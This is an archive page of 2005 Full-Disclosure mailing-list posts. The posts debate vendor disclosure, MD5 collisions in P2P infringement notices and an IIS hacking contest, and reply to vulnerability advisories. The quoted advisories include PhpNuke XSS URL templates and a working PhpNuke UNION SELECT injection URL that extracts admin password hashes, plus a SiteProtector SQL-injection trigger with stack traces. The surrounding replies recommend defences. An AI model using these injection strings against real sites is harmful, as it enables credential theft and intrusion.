On Apr 8, 2005 4:44 PM, Jason Coombs <jasoncscience.org> wrote:
> nocmonkeygmail.com wrote:
> > What is this a press release mailing
> > list? Full-pivx-disclosure?
>
> So it's okay for anonymous cowards who want to perpetrate financial crimes to post
> nonsense to the list, but I'm not allowed to?
>
> Nice.

Shouldn't you let PIVX decide what to defend and what not to defend?

...D
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Re: [Full-disclosure] How to Report a Security Vulnerability toMicrosoft

From: Morning Wood (se_cur_ityhotmail.com)
Date: Fri Apr 08 2005 - 16:16:06 CDT


> On Fri, Apr 08, 2005 at 12:21:05PM -0700, Microsoft Security Response
Center wrote:
> > If you believe you have found a security vulnerability affecting a
> > Microsoft product, we would like to work with you to investigate it.
> >
>
> hahahahahaha
>
> m$ doing social engineering on fd, this is a joke.

this is basicly the same response I had from my OWA advisory ...

>VI. VENDOR RESPONSE
>
>Microsoft has reviewed the issue and has made the determination that
>while a bug fix may be implemented in a future service pack, a security
>advisory/patch will not be released for this issue

therefore, in the interest of everones security, iDefense released the
advisory ( as did I ) without a patch being released first.
it is quite possible they ( Microsoft ) are trying to make out like they
were'nt contacted before said advisory was released.... but that is just my
opinion on observation.

my 2 bits,

Donnie Werner

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of Claimed Infringement

From: Thierry Zoller (Thierrysniff-em.com)
Date: Fri Apr 08 2005 - 17:00:42 CDT


Dear Barry,

b> Of course it's possible. All hashes, by their very nature, have
b> collisions. The only way to have a truly unique identifier is to use
b> the actual content of the file (or chunk) itself. The minute you
b> distill the content down to a hash, you're guaranteeing that collisions
b> will occur.

You are correct of course, the possibility is there. I was refering to
the fact that it is possible in another post of mine, however the possibility
of collisions happening "naturaly" is "not very likely" to say at least.
I still need to hear about anybody who found a non fabricated md5 collision
in the wild..on files.

b> somewhat rare.
:) Warm food at MC Donalds is "somewhat rare". Natural occuring md5 (or
coll. in sophisticated hash functions in general) are VERY rare not to
say virtualy impossible. AFAIK <-

b> Regarding corrupt files via P2P protocols... no file transfered via P2P
b> has _ever_ tranferred bad data and wound up corrupt, right? :)
b> /friendly sarcasm.

Hehe, got that one :)

--
Thierry Zoller

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Thierry Zoller (Thierrysniff-em.com)
Date: Fri Apr 08 2005 - 17:05:09 CDT


Dear Jason,

J> I think that entirely depends on the format the file is distributed in.
J> You could take a zipfile and pad it in non critical areas to change the
J> MD5 without creating a substantial difference in the deliverable
J> content. You could do the same with gzip or bzip formatted files. You
J> could also pad any embedded jpeg images to engineer a collision. There
J> are quite a few opportunities where this method could be used to twiddle
J> the new MD5 without materially changing the content.

Clever approach there, haven't thought about that beforehand.

J> Software that is ~150M in size, it gets redistributed as a new file that
J> is 160M is size but has a collision with your software which is also
J> 160M in size. I imagine there would be some computational time involved
J> to find the appropriate collision but a lot less computational time than
J> finding a perfect match to the original.

If I understood your point correctly and if my knowledge about hash
algos is correct then to my believe the computational time to generate
a collision is exactly the same for the perfect match as it would be
to use an existing file to create a potenatial collision.

--
Thierry Zoller

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Re: [Full-disclosure] IIS hacking contest

From: sHz (shaondgmail.com)
Date: Fri Apr 08 2005 - 18:16:39 CDT


I don't know how Windows IT pro magazine even came up with this silly
idea. Everyone (almost) knows that nothing remains impenetrable for
long! Not only that, but these contests give certain people
(managers/some admins) a false sense of security.

Then again, I want to see the box hacked to shreds :-)

sHz
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[Full-disclosure] Zone-H 2004 statistics are ready to be downloaded

From: Astharot (astharotzone-h.org)
Date: Fri Apr 08 2005 - 13:52:21 CDT


The graphical statistics for the year 2004 are finally ready! They also
contains excerpts of the year 2002 amd 2003 when needed.

There are two files

a nice PDF document which can be downloaded here

http://www.zone-h.org/download/file=5392/

while the full set of data in txt format, ready to be imported in your
spreadsheet can be downloaded here:

http://www.zone-h.org/download/file=5393/

The PDF documents contain a useful disclaimer about Zone-H activity,
read it please. You might be disppointed discovering that this year we
made no comments on the graphs. It is simply because the graphs are
self-talking.

Beside this, we always get emails like: "hey, why don't you make a graph
comparing the different webservers? It might be useful!" and "hey, why
did you do that graph comparing the webserver? It's useless!". To avoid
this, this year we did all possible graphs, up to you which one to
consider and how to interpret it.

I just want to add one comment: the tendence is to break through the
application level, we started to tell it a couple of years ago, much
earlier than anyone else. This is possible thanks to having the large
database as we have.

Enjoy the statistics but remember that this material is copyrighted and
you can use it under the same license its currently serving our website.
At the end of the PDF file you will find the details

Enjoy!

SyS64738 - Roberto Preatoni
astharot - Gerardo Di Giacomo
www.zone-h.org

Original article:
- http://zone-h.org/en/news/read/id=4457/
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Re: [Full-disclosure] IIS hacking contest

From: n3td3v (xploitablegmail.com)
Date: Fri Apr 08 2005 - 20:20:32 CDT


On Apr 9, 2005 12:16 AM, sHz <shaondgmail.com> wrote:
> I don't know how Windows IT pro magazine even came up with this silly
> idea. Everyone (almost) knows that nothing remains impenetrable for
> long! Not only that, but these contests give certain people
> (managers/some admins) a false sense of security.
>
> Then again, I want to see the box hacked to shreds :-)
>
> sHz

Hi,

Remember the end goal for these morons is to sell more magazines. If
you read the website, the guy is going to do a big feature on all the
events that take place before/middle and after the contest. They know
people will buy the magazine to read it, thats why the contest is
being held.

Read more about what I think here:
http://blog.360.yahoo.com/blog-DDhkxBU_KLIDKLXKywM-?l=6&u=11&mx=44&lmt=5&p=137

Thanks, n3td3v
_______________________________________________
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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Jason (securitybrvenik.com)
Date: Fri Apr 08 2005 - 21:25:11 CDT


Thierry Zoller wrote:
> Dear Jason,
>
> J> I think that entirely depends on the format the file is distributed in.
> J> You could take a zipfile and pad it in non critical areas to change the
> J> MD5 without creating a substantial difference in the deliverable
> J> content. You could do the same with gzip or bzip formatted files. You
> J> could also pad any embedded jpeg images to engineer a collision. There
> J> are quite a few opportunities where this method could be used to twiddle
> J> the new MD5 without materially changing the content.
>
> Clever approach there, haven't thought about that beforehand.

Different approaches are rarely thought about beforehand. If they were
explored deeply we might have found efficiencies and complications that
would have been avoided. This security stuff might not even exist. We
would also never make progress.

>
> J> Software that is ~150M in size, it gets redistributed as a new file that
> J> is 160M is size but has a collision with your software which is also
> J> 160M in size. I imagine there would be some computational time involved
> J> to find the appropriate collision but a lot less computational time than
> J> finding a perfect match to the original.
>
> If I understood your point correctly and if my knowledge about hash
> algos is correct then to my believe the computational time to generate
> a collision is exactly the same for the perfect match as it would be
> to use an existing file to create a potenatial collision.
>

I've not looked into it to be honest. I am thinking aloud.

Are there cases where different bits will have a predictable and
definable impact on the resulting hash? Does a null byte have a more
defined impact than a non null byte? Can you use a minimal impact byte
as padding and more impactful byte sequences to complete the collision?

It was once said that you could not realistically create two difference
sets of data that would cause a hash collision.

It was once said that you could not exploit heap overflows and that
stack overflows did not allow for control of the machine.

It was once thought that you could not use a format string to create an
exploitable condition.

I see enough opportunities for motivated people to do the research and
create a solution that is not computationally prohibitive. I would not
be surprised if this happens in relatively short time.

To use the existence of a hash and size as justification for a legal
assault against a person that appears to be providing content which is
under protection of some law presents an interesting area of exploration
in the courts for the right team. It was once thought that being found
guilty by a jury was sufficient to put someone to death. DNA has changed
that!

The only difference between theory and reality is implementation.

I think I am done with the thread on FD. Apologies to the myopic
thinkers among us.
_______________________________________________
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Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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Re: [Full-disclosure] [ISR] - SiteProtector Console Sql-Injection

From: grey hat (greyhat007gmail.com)
Date: Fri Apr 08 2005 - 21:36:52 CDT


Its www.iss.net and not www.iss.com....

On Apr 8, 2005 12:25 PM, Francisco Amato <famatoinfobyte.com.ar> wrote:
> ||
> || [ISR]
> || Infobyte Security Research
> || www.infobyte.com.ar
> || 04.08.2005
> ||
>
> .:: SUMMARY
>
> ISS - SiteProtector Console Sql-Injection
>
> Version: 2.0.5.690, It is suspected that all previous versions of
> SiteProtector Console
> are vulnerable.
>
> .:: BACKGROUND
>
> SiteProtector is a security management system that provides a centralized
> view and analysis of network,
> server, and desktop protection agents and appliances.
>
> http://www.iss.com
>
> .:: DESCRIPTION
>
> A Sql-injection vulnerability affect SiteProtector Console
> This issue is due to a failure of the application to securely copy
> user-supplied data into
> fields "Tag Name" and "Object Name" of Incidents/Exception that user create
> or modify.
>
> Simple string use: "'"
>
> Error that display when it make the injection:
>
> ######################BEGIN############################
>
> A Database or SQL Error occurred while working with Site Rules.
> net.iss.rssp.gui.site.analysis.exceptions.CommonSiteRuleException
> at
> net.iss.rssp.gui.site.analysis.AnalysisDataManager.throwCommonSiteRuleExcept
> ion(AnalysisDataManager.java:442)
> at
> net.iss.rssp.gui.site.analysis.AnalysisDataManager.createSiteFilter(Analysis
> DataManager.java:350)
> at
> net.iss.rssp.gui.site.analysis.command.AddEditSiteRuleCommand.execute(AddEdi
> tSiteRuleCommand.java:48)
> at
> net.iss.command.CommandTemplate.templateExecute(CommandTemplate.java:179)
> at net.iss.command.CommandHandler.executeCommand(CommandHandler.java:148)
> at net.iss.command.CommandHandler.run(CommandHandler.java:116)
>
> A database error occurred in the method "createNewSiteRule".
> net.iss.rssp.entity.exceptions.SiteRuleException
> at
> net.iss.rssp.server.AnalysisManager.addExceptionFilter(AnalysisManager.java:
> 357)
> at
> net.iss.rssp.remote.impl.AnalysisBrokerImpl.addExceptionFilter(AnalysisBroke
> rImpl.java:211)
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> at java.lang.reflect.Method.invoke(Unknown Source)
> at
> net.iss.rssp.security.server.SecureAdaptorAction.run(SecureAdaptorAction.jav
> a:22)
> at
> net.iss.rssp.security.server.SecureAdaptorImpl.invoke(SecureAdaptorImpl.java
> :114)
> at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> at java.lang.reflect.Method.invoke(Unknown Source)
> at sun.rmi.server.UnicastServerRef.dispatch(Unknown Source)
> at sun.rmi.transport.Transport$1.run(Unknown Source)
> at java.security.AccessController.doPrivileged(Native Method)
> at sun.rmi.transport.Transport.serviceCall(Unknown Source)
> at sun.rmi.transport.tcp.TCPTransport.handleMessages(Unknown Source)
> at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(Unknown Source)
> at java.lang.Thread.run(Unknown Source)
>
> Database Error
> SQL State = 42000
> Vendor code = 105
> Vendor msg = [42000][Microsoft][ODBC SQL Server Driver][SQL
> Server]Unclosed quotation mark before the character
> string '')
> AND NOT EXISTS (SELECT 1
> FROM ObservanceSiteFilters OSF WITH (NOLOCK)
> WHERE OSF.ObservanceID = OB.ObservanceID
> AND OSF.SiteFilterRuleID = 853)'.
>
> net.iss.rssp.db.DataAccessException
> at
> net.iss.rssp.server.database.DatabaseObjectHandlerBase.handleSQLException(Da
> tabaseObjectHandlerBase.java:75)
> at
> net.iss.rssp.server.database.SiteFilterHandler.write(SiteFilterHandler.java:
> 134)
> at
> net.iss.rssp.server.AnalysisManager.addExceptionFilter(AnalysisManager.java:
> 348)
> at
> net.iss.rssp.remote.impl.AnalysisBrokerImpl.addExceptionFilter(AnalysisBroke
> rImpl.java:211)
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> at java.lang.reflect.Method.invoke(Unknown Source)
> at
> net.iss.rssp.security.server.SecureAdaptorAction.run(SecureAdaptorAction.jav
> a:22)
> at
> net.iss.rssp.security.server.SecureAdaptorImpl.invoke(SecureAdaptorImpl.java
> :114)
> at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> at java.lang.reflect.Method.invoke(Unknown Source)
> at sun.rmi.server.UnicastServerRef.dispatch(Unknown Source)
> at sun.rmi.transport.Transport$1.run(Unknown Source)
> at java.security.AccessController.doPrivileged(Native Method)
> at sun.rmi.transport.Transport.serviceCall(Unknown Source)
> at sun.rmi.transport.tcp.TCPTransport.handleMessages(Unknown Source)
> at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(Unknown Source)
> at java.lang.Thread.run(Unknown Source)
>
> Error Inserting into table ObservanceSiteFilters Code: 52000 DB Key: 0
>
> java.sql.SQLException: [42000][Microsoft][ODBC SQL Server Driver][SQL
> Server]Unclosed quotation mark before the
> character string '')
> AND NOT EXISTS (SELECT 1
> FROM ObservanceSiteFilters OSF WITH (NOLOCK)
> WHERE OSF.ObservanceID = OB.ObservanceID
> AND OSF.SiteFilterRuleID = 853)'.
>
> at ids.sql.IDSSocket.error(IDSSocket.java:325)
> at ids.sql.IDSSocket.verify(IDSSocket.java:270)
> at ids.sql.IDSPrepared.execute(IDSPrepared.java:578)
> at ids.sql.IDSPrepared.execute(IDSPrepared.java:559)
> at
> net.iss.rssp.server.database.SiteFilterHandler.write(SiteFilterHandler.java:
> 103)
> at
> net.iss.rssp.server.AnalysisManager.addExceptionFilter(AnalysisManager.java:
> 348)
> at
> net.iss.rssp.remote.impl.AnalysisBrokerImpl.addExceptionFilter(AnalysisBroke
> rImpl.java:211)
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> at java.lang.reflect.Method.invoke(Unknown Source)
> at
> net.iss.rssp.security.server.SecureAdaptorAction.run(SecureAdaptorAction.jav
> a:22)
> at
> net.iss.rssp.security.server.SecureAdaptorImpl.invoke(SecureAdaptorImpl.java
> :114)
> at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> at java.lang.reflect.Method.invoke(Unknown Source)
> at sun.rmi.server.UnicastServerRef.dispatch(Unknown Source)
> at sun.rmi.transport.Transport$1.run(Unknown Source)
> at java.security.AccessController.doPrivileged(Native Method)
> at sun.rmi.transport.Transport.serviceCall(Unknown Source)
> at sun.rmi.transport.tcp.TCPTransport.handleMessages(Unknown Source)
> at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(Unknown Source)
> at java.lang.Thread.run(Unknown Source)
>
> java.sql.SQLException: [42000][Microsoft][ODBC SQL Server Driver][SQL
> Server]Unclosed quotation mark before the
> character string '')
> AND NOT EXISTS (SELECT 1
> FROM ObservanceSiteFilters OSF WITH (NOLOCK)
> WHERE OSF.ObservanceID = OB.ObservanceID
> AND OSF.SiteFilterRuleID = 853)'.
>
> at ids.sql.IDSSocket.error(IDSSocket.java:325)
> at ids.sql.IDSSocket.verify(IDSSocket.java:270)
> at ids.sql.IDSPrepared.execute(IDSPrepared.java:578)
> at ids.sql.IDSPrepared.execute(IDSPrepared.java:559)
> at
> net.iss.rssp.server.database.SiteFilterHandler.write(SiteFilterHandler.java:
> 103)
> at
> net.iss.rssp.server.AnalysisManager.addExceptionFilter(AnalysisManager.java:
> 348)
> at
> net.iss.rssp.remote.impl.AnalysisBrokerImpl.addExceptionFilter(AnalysisBroke
> rImpl.java:211)
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> at java.lang.reflect.Method.invoke(Unknown Source)
> at
> net.iss.rssp.security.server.SecureAdaptorAction.run(SecureAdaptorAction.jav
> a:22)
> at
> net.iss.rssp.security.server.SecureAdaptorImpl.invoke(SecureAdaptorImpl.java
> :114)
> at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> at java.lang.reflect.Method.invoke(Unknown Source)
> at sun.rmi.server.UnicastServerRef.dispatch(Unknown Source)
> at sun.rmi.transport.Transport$1.run(Unknown Source)
> at java.security.AccessController.doPrivileged(Native Method)
> at sun.rmi.transport.Transport.serviceCall(Unknown Source)
> at sun.rmi.transport.tcp.TCPTransport.handleMessages(Unknown Source)
> at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(Unknown Source)
> at java.lang.Thread.run(Unknown Source)
>
> java.sql.SQLException: [42000][Microsoft][ODBC SQL Server Driver][SQL
> Server]Line 10: Incorrect syntax near '')
> AND NOT EXISTS (SELECT 1
> FROM ObservanceSiteFilters OSF WITH (NOLOCK)
> WHERE OSF.ObservanceID = OB.ObservanceID
> AND O'.
>
> at ids.sql.IDSSocket.error(IDSSocket.java:325)
> at ids.sql.IDSSocket.verify(IDSSocket.java:270)
> at ids.sql.IDSPrepared.execute(IDSPrepared.java:578)
> at ids.sql.IDSPrepared.execute(IDSPrepared.java:559)
> at
> net.iss.rssp.server.database.SiteFilterHandler.write(SiteFilterHandler.java:
> 103)
> at
> net.iss.rssp.server.AnalysisManager.addExceptionFilter(AnalysisManager.java:
> 348)
> at
> net.iss.rssp.remote.impl.AnalysisBrokerImpl.addExceptionFilter(AnalysisBroke
> rImpl.java:211)
> at sun.reflect.NativeMethodAccessorImpl.invoke0(Native Method)
> at sun.reflect.NativeMethodAccessorImpl.invoke(Unknown Source)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> at java.lang.reflect.Method.invoke(Unknown Source)
> at
> net.iss.rssp.security.server.SecureAdaptorAction.run(SecureAdaptorAction.jav
> a:22)
> at
> net.iss.rssp.security.server.SecureAdaptorImpl.invoke(SecureAdaptorImpl.java
> :114)
> at sun.reflect.GeneratedMethodAccessor21.invoke(Unknown Source)
> at sun.reflect.DelegatingMethodAccessorImpl.invoke(Unknown Source)
> at java.lang.reflect.Method.invoke(Unknown Source)
> at sun.rmi.server.UnicastServerRef.dispatch(Unknown Source)
> at sun.rmi.transport.Transport$1.run(Unknown Source)
> at java.security.AccessController.doPrivileged(Native Method)
> at sun.rmi.transport.Transport.serviceCall(Unknown Source)
> at sun.rmi.transport.tcp.TCPTransport.handleMessages(Unknown Source)
> at sun.rmi.transport.tcp.TCPTransport$ConnectionHandler.run(Unknown Source)
> at java.lang.Thread.run(Unknown Source)
>
> #######################END#############################
>
> .:: EXTRA
>
> We did not find any way to perform any unautorized actions or gain
> additional privileges
>
> .:: DISCLOSURE TIMELINE
>
> 04/01/2005 Initial vendor notification
> 04/06/2005 Initial vendor response
> 04/08/2005 Public disclosure
>
> .:: CREDIT
>
> Francisco Amato is credited with discovering this vulnerability.
> famato][at][infobyte][dot][com][dot][ar
>
> .:: LEGAL NOTICES
>
> Copyright (c) 2005 by [ISR] Infobyte Security Research.
> Permission to redistribute this alert electronically is granted as long as
> it is not
> edited in any way unless authorized by Infobyte Security Research Response.
> Reprinting the whole or part of this alert in any medium other than
> electronically
> requires permission from infobyte com ar
>
> Disclaimer
> The information in the advisory is believed to be accurate at the time of
> publishing
> based on currently available information. Use of the information constitutes
> acceptance
> for use in an AS IS condition. There are no warranties with regard to this
> information.
> Neither the author nor the publisher accepts any liability for any direct,
> indirect, or
> consequential loss or damage arising from use of, or reliance on, this
> information.
>
> _______________________________________________
> Full-Disclosure - We believe in it.
> Charter: http://lists.grok.org.uk/full-disclosure-charter.html
> Hosted and sponsored by Secunia - http://secunia.com/
>
_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Scott Edwards (supadupagmail.com)
Date: Fri Apr 08 2005 - 22:18:41 CDT


On Apr 8, 2005 10:50 AM, Jason <securitybrvenik.com> wrote:
[snip]

> I think that entirely depends on the format the file is distributed in.
> You could take a zipfile and pad it in non critical areas to change the
> MD5 without creating a substantial difference in the deliverable
> content. You could do the same with gzip or bzip formatted files. You
> could also pad any embedded jpeg images to engineer a collision. There
> are quite a few opportunities where this method could be used to twiddle
> the new MD5 without materially changing the content.
>
> Here is the case I am thinking about.
>
[snip]

You can always use steganography
[http://en.wikipedia.org/wiki/Steganography]* for purposes of causing
the MD5 to change. There doesn't even have to be valid data to hide
in what I'll just reference as the "steganography metadata stream".
The key is to allow both copies to appear to operate the same, but are
clearly different when compared byte for byte. bitmaps, lossless or
lossy, just modify a few pixels. Find something that's not being
utilized, and modify it so the data type is still ok, but the data is
ever-so slightly different. Just think about crafty viruses like CIH
that relocated itself in unused areas in the executable.

After this, you'll have a hard time discerning between the origionals
and the fakes. You'll have more ground that'll need to be researched
to see if every varying signature is liable as a claimed infringment.
Even if it's distorted, it's still plausible as a protected work - but
to what degree I can't say ** (how much milk does plain water need to
be to become milk? at what point isn't it water anymore?). Granted,
exclusive use of tainting the signature weakens P2P, as this is a
relative dependency.

Aside from all this, it's best to avoid the appearance of evil. I
won't vouch for anyone else's actions, but *do* exercise caution.
(caveat emptor, no two ways about it).

* Edit+Improve this article if you can.
** That's right, it's a security/disclosure mailing list - not an open
legislative discussion one.

I hope you've enjoyed my comments - and if not, no loss for me.

Thanks,

Scott Edwards
_______________________________________________
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[Full-disclosure] Re: [SECURITYREASON.COM] PhpNuke 7.6=>x Multiple vulnerabilities cXIb8O3.12

From: Paul Laudanski (zxcastlecops.com)
Date: Sat Apr 09 2005 - 00:12:12 CDT


A cursory web search revealed...

On 4 Apr 2005, Maksymilian Arciemowicz wrote:

> - --- 1.Description --- PHP-Nuke is a Web Portal System, storytelling
[SNIP]
>
> - --- 2. XSS ---
> 2.0
> http://[HOST]/[DIR]/banners.php?op=EmailStats&name=sex&bid=[XSS]
>
> 2.1
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=TopRated&ratenum=[XSS]&ratetype=num

This has been a bug for over a year now:

http://www.waraxe.us/content-5.html

>
> 2.2
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=MostPopular&ratenum=%3Ch1%3E50&ratetype=num

This too was pointed out nearly two years ago:

http://archives.neohapsis.com/archives/fulldisclosure/2003-q2/1213.html

>
> 2.3
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkdetails&ttitle=[XSS]
>
> 2.4
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkeditorial&ttitle=[XSS]
>
> 2.5
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=viewlinkcomments&ttitle=[XSS]
>
> 2.6
> http://[HOST]/[DIR]/modules.php?name=Web_Links&l_op=ratelink&ttitle=[XSS]
>
> 2.7
> http://[HOST]/[DIR]/modules.php?name=Your_Account&op=userinfo&bypass=1&username=[XSS]

In general a multi-layered defense system is a good idea. mod_security is
a great tool for Apache which can be installed to catch certain kinds of
GET injections. Certainly not fool proof as the codebase should filter
inputs.

>
> - --- 3. Path Disclousure ---
>

On the topic of programming it is good practice to validate input,
however, for path disclosure, it is an even better plan to disable
displaying errors on a production website.

> - --- 4. How to fix ---
> Because phpnuke don't have security contact, you can download my patch from securityreason.com
> http://securityreason.com/patch/PhpNuke-7.6-adv.by.cXIb8O3.12-patch.tar.gz
>

Actually I know of a couple sites that work effortlessly to promote
security in php-nuke. These days chatserv works on writing and collecting
patches into a bundle for download:

nukecops.com
nukeresources.com
ravenphpscripts.com

I'd suggest posting your finds as news submissions to these sites, with
always a followup to phpnuke.org's Francisco (AKA nukelite).

--
Sincerely,

Paul Laudanski .. Computer Cops, LLC.
Microsoft MVP Windows-Security 2005
CastleCops(SM)... http://castlecops.com
CC Blog ......... http://blog.castlecops.com
Staff Blogs ..... http://busterbunny.castlecops.com
Our Vision ...... http://castlecops.com/postt63382.html

http://cuddlesnkisses.com http://justalittlepoke.com http://zhen-xjell.com

_______________________________________________
Full-Disclosure - We believe in it.
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Hosted and sponsored by Secunia - http://secunia.com/


 
[Full-disclosure] Re: [waraxe-2005-SA#041] - Critical Sql Injection in PhpNuke 6.x-7.6 Top module

From: Paul Laudanski (zxcastlecops.com)
Date: Sat Apr 09 2005 - 00:20:35 CDT


On 7 Apr 2005, Janek Vind wrote:
> http://localhost/nuke76/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION
> %20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors/*
>
> ... and as result we can see md5 hashes of all the admin passwords in place, where normally
> top 10 votes can be seen :)

Again as before, code should be validating input. But as a simple
precaution against default GET attacks, changing the table prefix from the
common "nuke_" to something random like "zloqf7_" would render that
sample, and all others based on "nuke_" useless.

Of course in the grander scheme that isn't foolproof, but does work
against the default GETs.

--
Sincerely,

Paul Laudanski .. Computer Cops, LLC.
Microsoft MVP Windows-Security 2005
CastleCops(SM)... http://castlecops.com
CC Blog ......... http://blog.castlecops.com
Staff Blogs ..... http://busterbunny.castlecops.com
Our Vision ...... http://castlecops.com/postt63382.html

http://cuddlesnkisses.com http://justalittlepoke.com http://zhen-xjell.com

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
Hosted and sponsored by Secunia - http://secunia.com/


 
Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Thierry Zoller (Thierrysniff-em.com)
Date: Sat Apr 09 2005 - 05:33:26 CDT


Guten Tag Jason,

[1]
J> It was once said that you could not realistically create two difference
J> sets of data that would cause a hash collision.
Correct, note that there has been as much (if not more) research in that field than in
the heap overflow sector.

[2]
J> It was once said that you could not exploit heap overflows and that
J> stack overflows did not allow for control of the machine.
Correct.

[3]
J> It was once thought that you could not use a format string to create an
J> exploitable condition.
Correct.

While these three statements are logical correct in themselves, there is no
necesite implication between those 3 sentences, which means they don't
proof your point. In other words, it is true statement[2] and [3] were made
and were proofen to be wrong, however that doesn't imply stament [1]
is wrong.

J> I see enough opportunities for motivated people to do the research and
J> create a solution that is not computationally prohibitive. I would not
J> be surprised if this happens in relatively short time.
"relatively short time"
Thats impossible because "relatively short time" has already
expired... hash functions (MD5) are not new..in other words .. timed out ;)

--
Thierry Zoller

_______________________________________________
Full-Disclosure - We believe in it.
Charter: http://lists.grok.org.uk/full-disclosure-charter.html
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RE: [Full-disclosure] How to Report a Security Vulnerability toMicrosoft

From: Randall M (randallmfidmail.com)
Date: Sat Apr 09 2005 - 08:10:30 CDT


I for one say this is a step in the right direction. Shows they want to work
with us.

Randall M

"If we ever forget that we're one nation under God, then we will be a nation
gone under."
- Ronald Reagan
_________________________________

 
 

:-----Original Message-----
:From: full-disclosure-bounceslists.grok.org.uk
:[mailto:full-disclosure-bounceslists.grok.org.uk] On Behalf
:Of Microsoft Security Response Center
:Sent: Friday, April 08, 2005 2:21 PM
:To: bugtraqsecurityfocus.com;
:ntbugtraqlistserv.ntbugtraq.com; full-disclosurelists.grok.org.uk
:Subject: [Full-disclosure] How to Report a Security
:Vulnerability toMicrosoft
:
:-----BEGIN PGP SIGNED MESSAGE-----
:Hash: SHA1
:
:Hello!
:
:The Microsoft Security Response Center investigates all
:reports of security vulnerabilities sent to us that affect
:Microsoft products.
:If you believe you have found a security vulnerability
:affecting a Microsoft product, we would like to work with you
:to investigate it.
:
:We are concerned that people might not know the best way to
:report security vulnerabilities to Microsoft. You can contact
:the Microsoft Security Response Center to report a
:vulnerability by emailing securemicrosoft.com directly, or
:you can submit your report via our web-based vulnerability
:reporting form located at:
:https://www.microsoft.com/technet/security/bulletin/alertus.aspx.
:
:Sincerely,
:Microsoft Security Response Center
:
:-----BEGIN PGP SIGNATURE-----
:Version: PGP 8.1
:
:iQIVAwUBQlbY4oreEgaqVbxmAQK5yhAAkm+H1/V69L5iLILNuSUSsgnd4Tw5Lzwj
:uyhigxfdJR9WYXSNg/7WCoMI77G6No8QvKOfkrXqbyv6SYcR5ZVDWYzeE3+jgje+
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:LO3tKPf9GIQ=
:=kT17
:-----END PGP SIGNATURE-----
:_______________________________________________
:Full-Disclosure - We believe in it.
:Charter: http://lists.grok.org.uk/full-disclosure-charter.html
:Hosted and sponsored by Secunia - http://secunia.com/
:

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Re: [Full-disclosure] Re: Case ID 51560370 - Notice of ClaimedInfringement

From: Honza Vlach (janusvolny.cz)
Date: Sat Apr 09 2005 - 09:02:15 CDT


The point is, that they don't check the hashes.
They send once a mail concerning file spider.tgz of size around 130kb
claiming it is Spiderman 2 movie.

And the path was like
/pub/linux/Slackware/10.0/ ... you get the idea.

So it's just a fuss worth nothing.

Just my $0.02

Honza Vlach

--
-----BEGIN GEEK CODE BLOCK-----
Version: 3.12
GIT/CS d- s: a-- C++++$ ULS++++$ P L+++ E--- W- N+ o? K? w-->--- O?
M->+ V? PS PE Y++ PGP+++ !t 5? X++ R tv-- b++ DI+ D++ G+>+++ e h--- r++ y?
------END GEEK CODE BLOCK------
() ascii ribbon campaign - against html mail
/\ - against microsoft attachments

-----BEGIN PGP SIGNATURE-----
Version: GnuPG v1.2.7 (GNU/Linux)

iD8DBQFCV+BnSVzvioqX7FkRAidCAJ98RTeSzP1eWoMsn0PZVJ9+QT4LMACfU5oh
B3czdc+Qvm3VHjWNQQc0FYA=
=AyQS
-----END PGP SIGNATURE-----

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[Full-disclosure] [VulnDiscuss] Re: [waraxe-2005-SA#041] - Critical Sql Injection in PhpNuke 6.x-7.6 Top module[Scanned]

From: Paul Laudanski (zxcastlecops.com)
Date: Sat Apr 09 2005 - 10:45:59 CDT


On 7 Apr 2005, Janek Vind wrote:
> http://localhost/nuke76/modules.php?name=Top&querylang=%20WHERE%201=2%20UNION
> %20ALL%20SELECT%201,pwd,1,1%20FROM%20nuke_authors/*
>
> ... and as result we can see md5 hashes of all the admin passwords in place, where normally
> top 10 votes can be seen :)

Again as before, code should be validating input. But as a simple
precaution against default GET attacks, changing the table prefix from the
